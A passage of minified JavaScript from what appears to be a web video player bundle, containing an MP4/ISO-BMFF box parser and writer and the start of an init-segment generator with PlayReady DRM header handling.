n[r[74]](r[161])});-1!==t?u[r[150]](n,t,n[t][r[161]]):this[r[156]]?(this[r[156]]=!1,this[r[168]](this[r[152]],this[r[153]]),this[r[154]]=this[r[151]][this[r[152]]][0][r[161]]):this[r[169]](this[r[152]])},n[r[38]][r[168]]=function(n,t){var i,f=this[r[151]][n]||[],o=this[r[151]][t]||[],e=f[r[137]](function(n){return i=o[r[110]](function(t){return t[r[170]]===n[r[170]]&&t[r[161]]}),Boolean(i)});-1!==e&&(null==i?void 0:i[r[161]])?u[r[150]](f,e,i[r[161]]):this[r[169]](n)},n[r[38]][r[169]]=function(n){for(var e,i=this[r[151]][n],f=this[r[155]][r[171]](),t=-1;f&&t<0;)t=i[r[137]](function(n){return f===n[r[135]]}),f=this[r[155]][r[171]]();i[t]&&(e=this[r[172]](t,n),u[r[150]](i,t,e))},n[r[38]][r[172]]=function(n,t){var f=this[r[151]][t],i=this[r[23]][r[148]][r[173]](0),u=this[r[23]][r[148]][r[174]](0);return u-i>f[n][r[93]]?u:i},n[r[38]][r[101]]=function(){return this[r[151]][this[r[152]]]||[]},n[r[38]][r[165]]=function(){return this[r[151]][this[r[153]]]||[]},n[r[38]][r[94]]=function(){return this[r[151]]},n[r[38]][r[175]]=function(){Object[r[96]](this[r[151]])[r[36]](function(n){n[r[36]](function(n){return n[r[176]]=!1})})},n[r[38]][r[68]]=function(){this[r[23]][r[69]](f[r[158]][r[157]],this[r[147]]);this[r[151]]={};this[r[155]]=[]},n}();t[r[102]]=e}},function(n){return n(n[r[177]]=94528)}])};r[179]==typeof t&&"object"==r[179]?n[r[180]]=f():"function"==r[75]&&i.amdD[r[181]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[179]==typeof t?t[r[182]]=f():(u[r[183]]=u[r[183]]||{},u[r[183]][r[184]]=u[r[183]][r[184]]||{},u[r[183]][r[184]][r[182]]=f())},429:function(n){self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[485],{79500:function(n,t){var r={parseBuffer:function(n){return new u(n).parse()},addBoxProcessor:function(n,t){"string"==typeof n&&"function"==typeof t&&(i.prototype._boxProcessors[n]=t)},createFile:function(){return new u},createBox:function(n,t,r){var u=i.create(n);return t&&t.append(u,r),u},createFullBox:function(n,t,i){var u=r.createBox(n,t,i);return u.version=0,u.flags=0,u},Utils:{}},u,i;r.Utils.dataViewToString=function(n,t){var f=t||"utf-8",u,r,i;if("undefined"!=typeof TextDecoder)return new TextDecoder(f).decode(n);if(u=[],r=0,"utf-8"===f)for(;r<n.byteLength;)i=n.getUint8(r++),i<128||(i<224?(i=(31&i)<<6,i|=63&n.getUint8(r++)):i<240?(i=(15&i)<<12,i|=(63&n.getUint8(r++))<<6,i|=63&n.getUint8(r++)):(i=(7&i)<<18,i|=(63&n.getUint8(r++))<<12,i|=(63&n.getUint8(r++))<<6,i|=63&n.getUint8(r++))),u.push(String.fromCharCode(i));else for(;r<n.byteLength;)u.push(String.fromCharCode(n.getUint8(r++)));return u.join("")};r.Utils.utf8ToByteArray=function(n){var i,r,t;if("undefined"!=typeof TextEncoder)i=(new TextEncoder).encode(n);else for(i=[],r=0;r<n.length;++r)t=n.charCodeAt(r),t<128?i.push(t):t<2048?(i.push(192|t>>6),i.push(128|63&t)):t<65536?(i.push(224|t>>12),i.push(128|63&t>>6),i.push(128|63&t)):(i.push(240|t>>18),i.push(128|63&t>>12),i.push(128|63&t>>6),i.push(128|63&t));return i};r.Utils.appendBox=function(n,t,i){var f,u,r;if(t._offset=n._cursor.offset,t._root=n._root?n._root:n,t._raw=n._raw,t._parent=n,-1!==i)if(null!=i){if(u=-1,"number"==typeof i)u=i;else{if("string"==typeof i)f=i;else{if("object"!=typeof i||!i.type)return void n.boxes.push(t);f=i.type}for(r=0;r<n.boxes.length;r++)if(f===n.boxes[r].type){u=r+1;break}}n.boxes.splice(u,0,t)}else n.boxes.push(t)};t.parseBuffer=r.parseBuffer;t.addBoxProcessor=r.addBoxProcessor;t.createFile=r.createFile;t.createBox=r.createBox;t.createFullBox=r.createFullBox;t.Utils=r.Utils;r.Cursor=function(n){this.offset=void 0===n?0:n};u=function(n){this._cursor=new r.Cursor;this.boxes=[];n&&(this._raw=new DataView(n))};u.prototype.fetch=function(n){var t=this.fetchAll(n,!0);return t.length?t[0]:null};u.prototype.fetchAll=function(n,t){var i=[];return u._sweep.call(this,n,i,t),i};u.prototype.parse=function(){for(this._cursor.offset=0,this.boxes=[];this._cursor.offset<this._raw.byteLength;){var n=i.parse(this);if(void 0===n.type)break;this.boxes.push(n)}return this};u._sweep=function(n,t,i){for(var r in this.type&&this.type==n&&t.push(this),this.boxes){if(t.length&&i)return;u._sweep.call(this.boxes[r],n,t,i)}};u.prototype.write=function(){for(var i=0,t,n=0;n<this.boxes.length;n++)i+=this.boxes[n].getLength(!1);for(t=new Uint8Array(i),this._rawo=new DataView(t.buffer),this.bytes=t,this._cursor.offset=0,n=0;n<this.boxes.length;n++)this.boxes[n].write();return t.buffer};u.prototype.append=function(n,t){r.Utils.appendBox(this,n,t)};i=function(){this._cursor=new r.Cursor};i.parse=function(n){var t=new i;return t._offset=n._cursor.offset,t._root=n._root?n._root:n,t._raw=n._raw,t._parent=n,t._parseBox(),n._cursor.offset=t._raw.byteOffset+t._raw.byteLength,t};i.create=function(n){var t=new i;return t.type=n,t.boxes=[],t};i.prototype._boxContainers=["dinf","edts","mdia","meco","mfra","minf","moof","moov","mvex","stbl","strk","traf","trak","tref","udta","vttc","sinf","schi","encv","enca"];i.prototype._boxProcessors={};i.prototype._procField=function(n,t,i){this._parsing?this[n]=this._readField(t,i):this._writeField(t,i,this[n])};i.prototype._procFieldArray=function(n,t,i,r){var u;if(this._parsing)for(this[n]=[],u=0;u<t;u++)this[n][u]=this._readField(i,r);else for(u=0;u<this[n].length;u++)this._writeField(i,r,this[n][u])};i.prototype._procFullBox=function(){this._procField("version","uint",8);this._procField("flags","uint",24)};i.prototype._procEntries=function(n,t,i){var r;if(this._parsing)for(this[n]=[],r=0;r<t;r++)this[n].push({}),i.call(this,this[n][r]);else for(r=0;r<t;r++)i.call(this,this[n][r])};i.prototype._procSubEntries=function(n,t,i,r){var u;if(this._parsing)for(n[t]=[],u=0;u<i;u++)n[t].push({}),r.call(this,n[t][u]);else for(u=0;u<i;u++)r.call(this,n[t][u])};i.prototype._procEntryField=function(n,t,i,r){this._parsing?n[t]=this._readField(i,r):this._writeField(i,r,n[t])};i.prototype._procSubBoxes=function(n,t){var r;if(this._parsing)for(this[n]=[],r=0;r<t;r++)this[n].push(i.parse(this));else for(r=0;r<t;r++)this._rawo?this[n][r].write():this.size+=this[n][r].getLength()};i.prototype._readField=function(n,t){switch(n){case"uint":return this._readUint(t);case"int":return this._readInt(t);case"template":return this._readTemplate(t);case"string":return-1===t?this._readTerminatedString():this._readString(t);case"data":return this._readData(t);case"utf8":return this._readUTF8String();default:return-1}};i.prototype._readInt=function(n){var t=null,i=this._cursor.offset-this._raw.byteOffset,r,u;switch(n){case 8:t=this._raw.getInt8(i);break;case 16:t=this._raw.getInt16(i);break;case 32:t=this._raw.getInt32(i);break;case 64:r=this._raw.getInt32(i);u=this._raw.getInt32(i+4);t=r*Math.pow(2,32)+u}return this._cursor.offset+=n>>3,t};i.prototype._readUint=function(n){var r,u,i=null,t=this._cursor.offset-this._raw.byteOffset;switch(n){case 8:i=this._raw.getUint8(t);break;case 16:i=this._raw.getUint16(t);break;case 24:i=((r=this._raw.getUint16(t))<<8)+(u=this._raw.getUint8(t+2));break;case 32:i=this._raw.getUint32(t);break;case 64:r=this._raw.getUint32(t);u=this._raw.getUint32(t+4);i=r*Math.pow(2,32)+u}return this._cursor.offset+=n>>3,i};i.prototype._readString=function(n){for(var r,t="",i=0;i<n;i++)r=this._readUint(8),t+=String.fromCharCode(r);return t};i.prototype._readTemplate=function(n){return this._readUint(n/2)+this._readUint(n/2)/Math.pow(2,n/2)};i.prototype._readTerminatedString=function(){for(var t,n="";this._cursor.offset-this._offset<this._raw.byteLength;){if(t=this._readUint(8),0===t)break;n+=String.fromCharCode(t)}return n};i.prototype._readData=function(n){var t=n>0?n:this._raw.byteLength-(this._cursor.offset-this._offset),i;return t>0?(i=new Uint8Array(this._raw.buffer,this._cursor.offset,t),this._cursor.offset+=t,i):null};i.prototype._readUTF8String=function(){var t=this._raw.byteLength-(this._cursor.offset-this._offset),n=null;return t>0&&(n=new DataView(this._raw.buffer,this._cursor.offset,t),this._cursor.offset+=t),n?r.Utils.dataViewToString(n):n};i.prototype._parseBox=function(){if(this._parsing=!0,this._cursor.offset=this._offset,this._offset+8>this._raw.buffer.byteLength)this._root._incomplete=!0;else{switch(this._procField("size","uint",32),this._procField("type","string",4),1===this.size&&this._procField("largesize","uint",64),"uuid"===this.type&&this._procFieldArray("usertype",16,"uint",8),this.size){case 0:this._raw=new DataView(this._raw.buffer,this._offset);break;case 1:this._offset+this.size>this._raw.buffer.byteLength?(this._incomplete=!0,this._root._incomplete=!0):this._raw=new DataView(this._raw.buffer,this._offset,this.largesize);break;default:this._offset+this.size>this._raw.buffer.byteLength?(this._incomplete=!0,this._root._incomplete=!0):this._raw=new DataView(this._raw.buffer,this._offset,this.size)}this._incomplete||(this._boxProcessors[this.type]&&this._boxProcessors[this.type].call(this),-1!==this._boxContainers.indexOf(this.type)?this._parseContainerBox():this._data=this._readData())}};i.prototype._parseFullBox=function(){this.version=this._readUint(8);this.flags=this._readUint(24)};i.prototype._parseContainerBox=function(){for(this.boxes=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.boxes.push(i.parse(this))};i.prototype.append=function(n,t){r.Utils.appendBox(this,n,t)};i.prototype.getLength=function(){if(this._parsing=!1,this._rawo=null,this.size=0,this._procField("size","uint",32),this._procField("type","string",4),1===this.size&&this._procField("largesize","uint",64),"uuid"===this.type&&this._procFieldArray("usertype",16,"uint",8),this._boxProcessors[this.type]&&this._boxProcessors[this.type].call(this),-1!==this._boxContainers.indexOf(this.type))for(var n=0;n<this.boxes.length;n++)this.size+=this.boxes[n].getLength();return this._data&&this._writeData(this._data),this.size};i.prototype.write=function(){switch(this._parsing=!1,this._cursor.offset=this._parent._cursor.offset,this.size){case 0:this._rawo=new DataView(this._parent._rawo.buffer,this._cursor.offset,this.parent._rawo.byteLength-this._cursor.offset);break;case 1:this._rawo=new DataView(this._parent._rawo.buffer,this._cursor.offset,this.largesize);break;default:this._rawo=new DataView(this._parent._rawo.buffer,this._cursor.offset,this.size)}if(this._procField("size","uint",32),this._procField("type","string",4),1===this.size&&this._procField("largesize","uint",64),"uuid"===this.type&&this._procFieldArray("usertype",16,"uint",8),this._boxProcessors[this.type]&&this._boxProcessors[this.type].call(this),-1!==this._boxContainers.indexOf(this.type))for(var n=0;n<this.boxes.length;n++)this.boxes[n].write();return this._data&&this._writeData(this._data),this._parent._cursor.offset+=this.size,this.size};i.prototype._writeInt=function(n,t){var i,r,u;if(this._rawo){i=this._cursor.offset-this._rawo.byteOffset;switch(n){case 8:this._rawo.setInt8(i,t);break;case 16:this._rawo.setInt16(i,t);break;case 32:this._rawo.setInt32(i,t);break;case 64:r=Math.floor(t/Math.pow(2,32));u=t-r*Math.pow(2,32);this._rawo.setUint32(i,r);this._rawo.setUint32(i+4,u)}this._cursor.offset+=n>>3}else this.size+=n>>3};i.prototype._writeUint=function(n,t){if(this._rawo){var r,u,i=this._cursor.offset-this._rawo.byteOffset;switch(n){case 8:this._rawo.setUint8(i,t);break;case 16:this._rawo.setUint16(i,t);break;case 24:r=(16776960&t)>>8;u=255&t;this._rawo.setUint16(i,r);this._rawo.setUint8(i+2,u);break;case 32:this._rawo.setUint32(i,t);break;case 64:u=t-(r=Math.floor(t/Math.pow(2,32)))*Math.pow(2,32);this._rawo.setUint32(i,r);this._rawo.setUint32(i+4,u)}this._cursor.offset+=n>>3}else this.size+=n>>3};i.prototype._writeString=function(n,t){for(var i=0;i<n;i++)this._writeUint(8,t.charCodeAt(i))};i.prototype._writeTerminatedString=function(n){if(0!==n.length){for(var t=0;t<n.length;t++)this._writeUint(8,n.charCodeAt(t));this._writeUint(8,0)}};i.prototype._writeTemplate=function(n,t){var i=Math.floor(t),r=(t-i)*Math.pow(2,n/2);this._writeUint(n/2,i);this._writeUint(n/2,r)};i.prototype._writeData=function(n){if(n)if(this._rawo){if(n instanceof Array){for(var i=this._cursor.offset-this._rawo.byteOffset,t=0;t<n.length;t++)this._rawo.setInt8(i+t,n[t]);this._cursor.offset+=n.length}n instanceof Uint8Array&&(this._root.bytes.set(n,this._cursor.offset),this._cursor.offset+=n.length)}else this.size+=n.length};i.prototype._writeUTF8String=function(n){var i=r.Utils.utf8ToByteArray(n),u,t;if(this._rawo)for(u=new DataView(this._rawo.buffer,this._cursor.offset,i.length),t=0;t<i.length;t++)u.setUint8(t,i[t]);else this.size+=i.length};i.prototype._writeField=function(n,t,i){switch(n){case"uint":this._writeUint(t,i);break;case"int":this._writeInt(t,i);break;case"template":this._writeTemplate(t,i);break;case"string":-1==t?this._writeTerminatedString(i):this._writeString(t,i);break;case"data":this._writeData(i);break;case"utf8":this._writeUTF8String(i)}};i.prototype._boxProcessors.avc1=i.prototype._boxProcessors.avc2=i.prototype._boxProcessors.avc3=i.prototype._boxProcessors.avc4=i.prototype._boxProcessors.hvc1=i.prototype._boxProcessors.hev1=i.prototype._boxProcessors.encv=function(){this._procFieldArray("reserved1",6,"uint",8);this._procField("data_reference_index","uint",16);this._procField("pre_defined1","uint",16);this._procField("reserved2","uint",16);this._procFieldArray("pre_defined2",3,"uint",32);this._procField("width","uint",16);this._procField("height","uint",16);this._procField("horizresolution","template",32);this._procField("vertresolution","template",32);this._procField("reserved3","uint",32);this._procField("frame_count","uint",16);this._procFieldArray("compressorname",32,"uint",8);this._procField("depth","uint",16);this._procField("pre_defined3","int",16);this._procField("config","data",-1)};i.prototype._boxProcessors.ctts=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procEntries("entries",this.entry_count,function(n){this._procEntryField(n,"sample_count","uint",32);this._procEntryField(n,"sample_offset",1===this.version?"int":"uint",32)})};i.prototype._boxProcessors.dref=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procSubBoxes("entries",this.entry_count)};i.prototype._boxProcessors.elst=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procEntries("entries",this.entry_count,function(n){this._procEntryField(n,"segment_duration","uint",1===this.version?64:32);this._procEntryField(n,"media_time","int",1===this.version?64:32);this._procEntryField(n,"media_rate_integer","int",16);this._procEntryField(n,"media_rate_fraction","int",16)})};i.prototype._boxProcessors.emsg=function(){this._procFullBox();1==this.version?(this._procField("timescale","uint",32),this._procField("presentation_time","uint",64),this._procField("event_duration","uint",32),this._procField("id","uint",32),this._procField("scheme_id_uri","string",-1),this._procField("value","string",-1)):(this._procField("scheme_id_uri","string",-1),this._procField("value","string",-1),this._procField("timescale","uint",32),this._procField("presentation_time_delta","uint",32),this._procField("event_duration","uint",32),this._procField("id","uint",32));this._procField("message_data","data",-1)};i.prototype._boxProcessors.free=i.prototype._boxProcessors.skip=function(){this._procField("data","data",-1)};i.prototype._boxProcessors.frma=function(){this._procField("data_format","uint",32)};i.prototype._boxProcessors.ftyp=i.prototype._boxProcessors.styp=function(){this._procField("major_brand","string",4);this._procField("minor_version","uint",32);var n=-1;this._parsing&&(n=(this._raw.byteLength-(this._cursor.offset-this._raw.byteOffset))/4);this._procFieldArray("compatible_brands",n,"string",4)};i.prototype._boxProcessors.hdlr=function(){this._procFullBox();this._procField("pre_defined","uint",32);this._procField("handler_type","string",4);this._procFieldArray("reserved",3,"uint",32);this._procField("name","string",-1)};i.prototype._boxProcessors.mdat=function(){this._procField("data","data",-1)};i.prototype._boxProcessors.mdhd=function(){this._procFullBox();this._procField("creation_time","uint",1==this.version?64:32);this._procField("modification_time","uint",1==this.version?64:32);this._procField("timescale","uint",32);this._procField("duration","uint",1==this.version?64:32);this._parsing||"string"!=typeof this.language||(this.language=this.language.charCodeAt(0)-96<<10|this.language.charCodeAt(1)-96<<5|this.language.charCodeAt(2)-96);this._procField("language","uint",16);this._parsing&&(this.language=String.fromCharCode(96+(this.language>>10&31),96+(this.language>>5&31),96+(31&this.language)));this._procField("pre_defined","uint",16)};i.prototype._boxProcessors.mehd=function(){this._procFullBox();this._procField("fragment_duration","uint",1==this.version?64:32)};i.prototype._boxProcessors.mfhd=function(){this._procFullBox();this._procField("sequence_number","uint",32)};i.prototype._boxProcessors.mfro=function(){this._procFullBox();this._procField("mfra_size","uint",32)};i.prototype._boxProcessors.mp4a=i.prototype._boxProcessors.enca=function(){this._procFieldArray("reserved1",6,"uint",8);this._procField("data_reference_index","uint",16);this._procFieldArray("reserved2",2,"uint",32);this._procField("channelcount","uint",16);this._procField("samplesize","uint",16);this._procField("pre_defined","uint",16);this._procField("reserved3","uint",16);this._procField("samplerate","template",32);this._procField("esds","data",-1)};i.prototype._boxProcessors.mvhd=function(){this._procFullBox();this._procField("creation_time","uint",1==this.version?64:32);this._procField("modification_time","uint",1==this.version?64:32);this._procField("timescale","uint",32);this._procField("duration","uint",1==this.version?64:32);this._procField("rate","template",32);this._procField("volume","template",16);this._procField("reserved1","uint",16);this._procFieldArray("reserved2",2,"uint",32);this._procFieldArray("matrix",9,"template",32);this._procFieldArray("pre_defined",6,"uint",32);this._procField("next_track_ID","uint",32)};i.prototype._boxProcessors.payl=function(){this._procField("cue_text","utf8")};i.prototype._boxProcessors.prft=function(){this._procFullBox();this._procField("reference_track_ID","uint",32);this._procField("ntp_timestamp_sec","uint",32);this._procField("ntp_timestamp_frac","uint",32);this._procField("media_time","uint",1==this.version?64:32)};i.prototype._boxProcessors.pssh=function(){this._procFullBox();this._procFieldArray("SystemID",16,"uint",8);this._procField("DataSize","uint",32);this._procFieldArray("Data",this.DataSize,"uint",8)};i.prototype._boxProcessors.schm=function(){this._procFullBox();this._procField("scheme_type","uint",32);this._procField("scheme_version","uint",32);1&this.flags&&this._procField("scheme_uri","string",-1)};i.prototype._boxProcessors.sdtp=function(){this._procFullBox();var n=-1;this._parsing&&(n=this._raw.byteLength-(this._cursor.offset-this._raw.byteOffset));this._procFieldArray("sample_dependency_table",n,"uint",8)};i.prototype._boxProcessors.sidx=function(){this._procFullBox();this._procField("reference_ID","uint",32);this._procField("timescale","uint",32);this._procField("earliest_presentation_time","uint",1==this.version?64:32);this._procField("first_offset","uint",1==this.version?64:32);this._procField("reserved","uint",16);this._procField("reference_count","uint",16);this._procEntries("references",this.reference_count,function(n){this._parsing||(n.reference=(1&n.reference_type)<<31,n.reference|=2147483647&n.referenced_size,n.sap=(1&n.starts_with_SAP)<<31,n.sap|=(3&n.SAP_type)<<28,n.sap|=268435455&n.SAP_delta_time);this._procEntryField(n,"reference","uint",32);this._procEntryField(n,"subsegment_duration","uint",32);this._procEntryField(n,"sap","uint",32);this._parsing&&(n.reference_type=n.reference>>31&1,n.referenced_size=2147483647&n.reference,n.starts_with_SAP=n.sap>>31&1,n.SAP_type=n.sap>>28&7,n.SAP_delta_time=268435455&n.sap)})};i.prototype._boxProcessors.smhd=function(){this._procFullBox();this._procField("balance","uint",16);this._procField("reserved","uint",16)};i.prototype._boxProcessors.ssix=function(){this._procFullBox();this._procField("subsegment_count","uint",32);this._procEntries("subsegments",this.subsegment_count,function(n){this._procEntryField(n,"ranges_count","uint",32);this._procSubEntries(n,"ranges",n.ranges_count,function(n){this._procEntryField(n,"level","uint",8);this._procEntryField(n,"range_size","uint",24)})})};i.prototype._boxProcessors.stsd=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procSubBoxes("entries",this.entry_count)};i.prototype._boxProcessors.sttg=function(){this._procField("settings","utf8")};i.prototype._boxProcessors.stts=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procEntries("entries",this.entry_count,function(n){this._procEntryField(n,"sample_count","uint",32);this._procEntryField(n,"sample_delta","uint",32)})};i.prototype._boxProcessors.subs=function(){this._procFullBox();this._procField("entry_count","uint",32);this._procEntries("entries",this.entry_count,function(n){this._procEntryField(n,"sample_delta","uint",32);this._procEntryField(n,"subsample_count","uint",16);this._procSubEntries(n,"subsamples",n.subsample_count,function(n){this._procEntryField(n,"subsample_size","uint",1===this.version?32:16);this._procEntryField(n,"subsample_priority","uint",8);this._procEntryField(n,"discardable","uint",8);this._procEntryField(n,"codec_specific_parameters","uint",32)})})};i.prototype._boxProcessors.tenc=function(){this._procFullBox();this._procField("default_IsEncrypted","uint",24);this._procField("default_IV_size","uint",8);this._procFieldArray("default_KID",16,"uint",8)};i.prototype._boxProcessors.tfdt=function(){this._procFullBox();this._procField("baseMediaDecodeTime","uint",1==this.version?64:32)};i.prototype._boxProcessors.tfhd=function(){this._procFullBox();this._procField("track_ID","uint",32);1&this.flags&&this._procField("base_data_offset","uint",64);2&this.flags&&this._procField("sample_description_offset","uint",32);8&this.flags&&this._procField("default_sample_duration","uint",32);16&this.flags&&this._procField("default_sample_size","uint",32);32&this.flags&&this._procField("default_sample_flags","uint",32)};i.prototype._boxProcessors.tfra=function(){this._procFullBox();this._procField("track_ID","uint",32);this._parsing||(this.reserved=0,this.reserved|=(48&this.length_size_of_traf_num)<<4,this.reserved|=(12&this.length_size_of_trun_num)<<2,this.reserved|=3&this.length_size_of_sample_num);this._procField("reserved","uint",32);this._parsing&&(this.length_size_of_traf_num=(48&this.reserved)>>4,this.length_size_of_trun_num=(12&this.reserved)>>2,this.length_size_of_sample_num=3&this.reserved);this._procField("number_of_entry","uint",32);this._procEntries("entries",this.number_of_entry,function(n){this._procEntryField(n,"time","uint",1===this.version?64:32);this._procEntryField(n,"moof_offset","uint",1===this.version?64:32);this._procEntryField(n,"traf_number","uint",8*(this.length_size_of_traf_num+1));this._procEntryField(n,"trun_number","uint",8*(this.length_size_of_trun_num+1));this._procEntryField(n,"sample_number","uint",8*(this.length_size_of_sample_num+1))})};i.prototype._boxProcessors.tkhd=function(){this._procFullBox();this._procField("creation_time","uint",1==this.version?64:32);this._procField("modification_time","uint",1==this.version?64:32);this._procField("track_ID","uint",32);this._procField("reserved1","uint",32);this._procField("duration","uint",1==this.version?64:32);this._procFieldArray("reserved2",2,"uint",32);this._procField("layer","uint",16);this._procField("alternate_group","uint",16);this._procField("volume","template",16);this._procField("reserved3","uint",16);this._procFieldArray("matrix",9,"template",32);this._procField("width","template",32);this._procField("height","template",32)};i.prototype._boxProcessors.trex=function(){this._procFullBox();this._procField("track_ID","uint",32);this._procField("default_sample_description_index","uint",32);this._procField("default_sample_duration","uint",32);this._procField("default_sample_size","uint",32);this._procField("default_sample_flags","uint",32)};i.prototype._boxProcessors.trun=function(){this._procFullBox();this._procField("sample_count","uint",32);1&this.flags&&this._procField("data_offset","int",32);4&this.flags&&this._procField("first_sample_flags","uint",32);this._procEntries("samples",this.sample_count,function(n){256&this.flags&&this._procEntryField(n,"sample_duration","uint",32);512&this.flags&&this._procEntryField(n,"sample_size","uint",32);1024&this.flags&&this._procEntryField(n,"sample_flags","uint",32);2048&this.flags&&this._procEntryField(n,"sample_composition_time_offset",1===this.version?"int":"uint",32)})};i.prototype._boxProcessors["url "]=i.prototype._boxProcessors["urn "]=function(){this._procFullBox();"urn "===this.type&&this._procField("name","string",-1);this._procField("location","string",-1)};i.prototype._boxProcessors.vlab=function(){this._procField("source_label","utf8")};i.prototype._boxProcessors.vmhd=function(){this._procFullBox();this._procField("graphicsmode","uint",16);this._procFieldArray("opcolor",3,"uint",16)};i.prototype._boxProcessors.vttC=function(){this._procField("config","utf8")};i.prototype._boxProcessors.vtte=function(){}},73377:function(n,t,i){"use strict";function e(n){return 0===n.length?null:n[0]}function o(n,t){var r=t.indexOf("."),i=[],u,f;return-1===r?i=n.filter(function(n){return n.type===t}):(u=t.substr(0,r),f=t.substr(r+1),i=n.filter(function(n){return n.type===u}).map(function(n){return n.list(f)}).reduce(function(n,t){return n.concat(t)},i)),i}Object.defineProperty(t,"__esModule",{value:!0});t.ISOBoxer=void 0;var r=i(79500),s=r.createBox("dummy"),u=Object.getPrototypeOf(s).constructor,h=r.createFile(),f=Object.getPrototypeOf(h).constructor;f.prototype.get=function(n){return e(this.list(n))};f.prototype.list=function(n){return o(this.boxes,n)};u.prototype.list=function(n){return o(this.boxes||this.entries||[],n)};u.prototype.get=function(n){return e(this.list(n))};t.ISOBoxer=r},26608:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.InitSegmentGenerator=void 0;var u=i(91520),f=i(16368),r=i(73377),e=i(56855),o=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],s=function(){function n(t,i,r){if(this.initInfo=i,this.timescale=this.initInfo.timescale||e.DEFAULT_TIMESCALE_FACTOR,this.trackId=this.initInfo.trackId,r){var o=u.ModuleManager.get(f.ModuleName.DRM),s=new o.PlayReady(t,{});this.contentProtection=r.map(function(t){var r=n.base64ToArrayBuffer(t.content),u=String.fromCharCode.apply(null,r),f=s.getIdentifierFromInitData(u),i=n.base64ToArrayBuffer(f);return o.PlayReady.kidToCENC(i),{header:t,kid:i}})}}return n.prototype.getParsedData=function(){return this.parsedIsoData||this.createIsoFileWithConent(),this.parsedIsoData},n.prototype.generateArrayBuffer=function(){return this.getParsedData().write()},n.prototype.createIsoFileWithConent=function(){var t=r.ISOBoxer.createFile();n.createFtypBox(t);this.createMoovBox(t);this.parsedIsoData=t},n.createFtypBox=function(n){var t=r.ISOBoxer.createBox("ftyp",n);return t.major_brand="iso6",t.minor_version=1,t.compatible_brands=[],t.compatible_brands[0]="isom",t.compatible_brands[1]="iso6",t.compatible_brands[2]="msdh",t},n.prototype.createMoovBox=function(t){var f=r.ISOBoxer.createBox("moov",t),o,e,u,s,i,h;this.createMvhdBox(f);o=r.ISOBoxer.createBox("trak",f);this.createTkhdBox(o);e=r.ISOBoxer.createBox("mdia",o);this.createMdhdBox(e);this.createHdlrBox(e);u=r.ISOBoxer.createBox("minf",e);switch(this.initInfo.type){case"video":n.appendVmhdBox(u);break;case"audio":n.appendSmhdBox(u)}s=r.ISOBoxer.createBox("dinf",u);n.appendDrefBox(s);i=r.ISOBoxer.createBox("stbl",u);r.ISOBoxer.createFullBox("stts",i)._data=[0,0,0,0,0,0,0,0];r.ISOBoxer.createFullBox("stsc",i)._data=[0,0,0,0,0,0,0,0];r.ISOBoxer.createFullBox("stco",i)._data=[0,0,0,0,0,0,0,0];r.ISOBoxer.createFullBox("stsz",i)._data=[0,0,0,0,0,0,0,0,0,0,0,0];this.appendStsdBox(i);h=r.ISOBoxer.createBox("mvex",f);this.appendTrexBox(h);this.contentProtection&&this.contentProtection.forEach(function(t){n.appendProtectionSystemSpecificHeaderBoxForPR(f,t.header.content)})},n.prototype.createMvhdBox=function(n){var t=r.ISOBoxer.createFullBox("mvhd",n);return t.version=1,t.creation_time=0,t.modification_time=0,t.timescale=this.timescale,t.duration=Math.round(this.initInfo.periodDuration*this.timescale),t.rate=1,t.volume=1,t.reserved1=0,t.reserved2=[0,0],t.matrix=[1,0,0,0,1,0,0,0,16384],t.pre_defined=[0,0,0,0,0,0],t.next_track_ID=this.trackId+1,t},n.prototype.createTkhdBox=function(n){var t=r.ISOBoxer.createFullBox("tkhd",n);return t.version=1,t.flags=7,t.creation_time=0,t.modification_time=0,t.track_ID=this.trackId,t.reserved1=0,t.duration=Math.round(this.initInfo.periodDuration*this.timescale),t.reserved2=[0,0],t.layer=0,t.alternate_group=0,t.volume=1,t.matrix=[1,0,0,0,1,0,0,0,16384],t.width=this.initInfo.width,t.height=this.initInfo.height,t},n.prototype.createMdhdBox=function(n){var t=r.ISOBoxer.createFullBox("mdhd",n);return t.version=1,t.creation_time=0,t.modification_time=0,t.timescale=this.timescale,t.duration=Math.round(this.initInfo.periodDuration*this.timescale),t.language=this.initInfo.lang||"und",t.pre_defined=0,t},n.prototype.createHdlrBox=function(n){var t=r.ISOBoxer.createFullBox("hdlr",n);switch(t.pre_defined=0,this.initInfo.type){case"video":t.handler_type="vide";break;case"audio":t.handler_type="soun";break;default:t.handler_type="meta"}return t.name=""+this.initInfo.id,t.reserved=[0,0,0],t},n.appendVmhdBox=function(n){var t=r.ISOBoxer.createFullBox("vmhd",n);t.flags=1;t.graphicsmode=0;t.opcolor=[0,0,0]},n.appendSmhdBox=function(n){var t=r.ISOBoxer.createFullBox("smhd",n);t.flags=1;t.balance=0;t.reserved=0},n.appendDrefBox=function(n){var t=r.ISOBoxer.createFullBox("dref",n),i;t.entry_count=1;t.entries=[];i=r.ISOBoxer.createFullBox("url ",t,!1);i.location="";i.flags=1;t.entries.push(i)},n.prototype.appendStsdBox=function(n){var t=r.ISOBoxer.createFullBox("stsd",n);switch(t.entries=[],this.initInfo.type){case"video":case"audio":t.entries.push(this.createSampleEntry(t))}t.entry_count=t.entries.length},n.prototype.createSampleEntry=function(n){var t=this.initInfo.codecs.substring(0,this.initInfo.codecs.indexOf("."));switch(t){case"avc1":return this.createAVCVisualSampleEntry(n,t);case"mp4a":return this.createMP4AudioSampleEntry(n,t);default:throw{name:"Unsupported codec",message:"Unsupported codec",data:{codec:t}};}},n.prototype.createAVCVisualSampleEntry=function(t,i){var 